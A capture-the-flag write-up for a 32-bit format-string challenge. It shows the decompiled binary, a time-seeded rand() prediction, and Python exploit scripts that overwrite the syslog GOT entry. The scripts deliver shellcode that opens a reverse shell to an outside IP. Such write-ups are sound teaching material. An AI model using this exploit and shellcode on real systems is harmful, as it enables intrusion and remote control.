Up on a hill, far away, sits the robot king of old. While he was once great, he recently has seemed to just offer simple challenges. Vanquish him and bring honor to your team! 23.20.104.208:56345
Hmm, a binary called Format in the pwnables category? What could it be?
File it!
$ file * problem: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
Nothing special with the binaries, but why did they include a libc? Suspicious!
IDA!
The binary loads in IDA just fine, but main seems to be missing network code. The binary asks for a password and then compares it to a hardcoded string of "2ipzLTxTGOtJE0Um\n". Likely a simple gatekeeper so people can't "discover" the binary early.
The challenge text indicates the service is running at 23.20.104.208:56345. A quick netcat confirms it. This binary must be setup with xinetd. Setting this up with xinetd is probably the hardest part of the whole thing.
signed int __cdecl main() { char *v0; // eax@1 unsigned __int8 v1; // cf@1 unsigned __int8 v2; // zf@1 signed int result; // eax@2 signed int v4; // ecx@3 int *v5; // esi@3 int v6; // edi@3 int guess_int; // eax@10 int v8; // [sp+10h] [bp-178h]@1 void *name_buf; // [sp+50h] [bp-138h]@13 int name; // [sp+54h] [bp-134h]@10 int guess_char; // [sp+154h] [bp-34h]@10 signed int v12; // [sp+174h] [bp-14h]@8 FILE *v13; // [sp+178h] [bp-10h]@8 int v14; // [sp+17Ch] [bp-Ch]@8 printf("Password: "); fflush(stdout); v0 = fgets((char *)&v8, 64, stdin); v1 = 0; v2 = v0 == 0; if ( v0 ) { v4 = 18; v5 = &v8; v6 = (int)"2ipzLTxTGOtJE0Um\n"; do { if ( !v4 ) break; v1 = *(_BYTE *)v5 < *(_BYTE *)v6; v2 = *(_BYTE *)v5 == *(_BYTE *)v6; v5 = (int *)((char *)v5 + 1); ++v6; --v4; } while ( v2 ); if ( !(v1 | v2) == v1 ) { time((time_t *)&v12); v12 /= 60; srand(v12); v14 = rand(); v13 = fopen("/dev/null", "w"); if ( !v13 ) exit(1); printf("Name: "); fflush(stdout); fgets((char *)&name, 256, stdin); printf("Guess: "); fflush(stdout); fgets((char *)&guess_char, 32, stdin); guess_int = atoi((const char *)&guess_char); if ( guess_int != v14 ) { puts("Wrong value!"); exit(1); } printf("Your guess was "); printf((const char *)&guess_char); fflush(stdout); printf("You win! Thanks for playing, "); fflush(stdout); name_buf = malloc(0x100u); if ( !name_buf ) exit(1); snprintf((char *)name_buf, 0x100u, (const char *)&name); printf_wrapper((const char *)name_buf); free(name_buf); openlog("fff", 0, 0); syslog(0, (const char *)&name); closelog(); asprintf((char **)&name_buf, (const char *)&name); printf("Bye, "); printf((const char *)name_buf); fflush(stdout); free(name_buf); fprintf(v13, (const char *)name_buf); result = 0; } else { puts("Access denied"); result = 1; } } else { result = 1; } return result; }
The service contains a fair amount of improper use of the printf family of functions. As shown in the decompilation, pretty much every field is sent directly to a printf function as the format specifier.
There is one issue though, you have to correctly guess a psudo random number in order to reach the vulnerable code. This is where having a big team is nice. We split our resources, one of us worked on predicting the "guess" value and the other patched out the check and exploited the vulerability.
Exploitation is pretty straight-forward. We sent our payload in the name field, which was limited to 256 bytes.
#!/usr/bin/env python import os import sys import socket import struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("localhost", 56345)) print "Press enter after gdb" sys.stdin.readline() print s.recv(1024) s.send("2ipzLTxTGOtJE0Um\n") print s.recv(1024) sc = ("\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x4a\x7d" "\x82\x71\x66\x68\x10\x2d\x43\x66\x53\x89\xe1\xb0\x66\x50" "\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68" "\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80") where = struct.pack("l", 0x08049E04) # syslog what = "%%%ux" % (0x8b4b - 4 - len(sc)) s.send(where + sc +what+"%19$hn\n") print s.recv(1024) s.send("5\n") print s.recv(1024) print s.recv(1024) print s.recv(1024) print s.recv(1024) s.close()
We overwrite the .GOT entry for syslog with the address of a call eax...getting us arbitrary code execution.
This script only worked on the patched version, though. As it's unlikely a guess of '5' would be valid. :)
To exploit the binary we had to guess the first output of the rand() function after being seeded with the current time divided by 60. Guessing the psudo random number turned out to be quite simple. First I installed ntp to ensure my clock was correct. Next I used python ctypes to import the library and call the appropriate functions. To our supprise it worked the first time! Woot! The final script integrated the exploit script and the guess predictor.
from ctypes import * import socket import struct libc = CDLL("libc.so.6") libc.srand(libc.time(0)/60) guess = libc.rand() s = socket.socket() s.connect(("23.20.104.208", 56345)) s.recv(50) #password: s.send("2ipzLTxTGOtJE0Um\n") s.recv(10) #name sc = ("\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x4a\x7d" "\x82\x71\x66\x68\x10\x2d\x43\x66\x53\x89\xe1\xb0\x66\x50" "\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68" "\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80") where = struct.pack("l", 0x08049E04) # syslog what = "%%%ux" % (0x8b4b - 4 - len(sc)) s.send(where + sc +what+"%19$hn\n") s.recv(20) #guess s.send(str(guess)+"\n") x = s.recv(200)
dont_know_what_vuln_to_add?printf(input)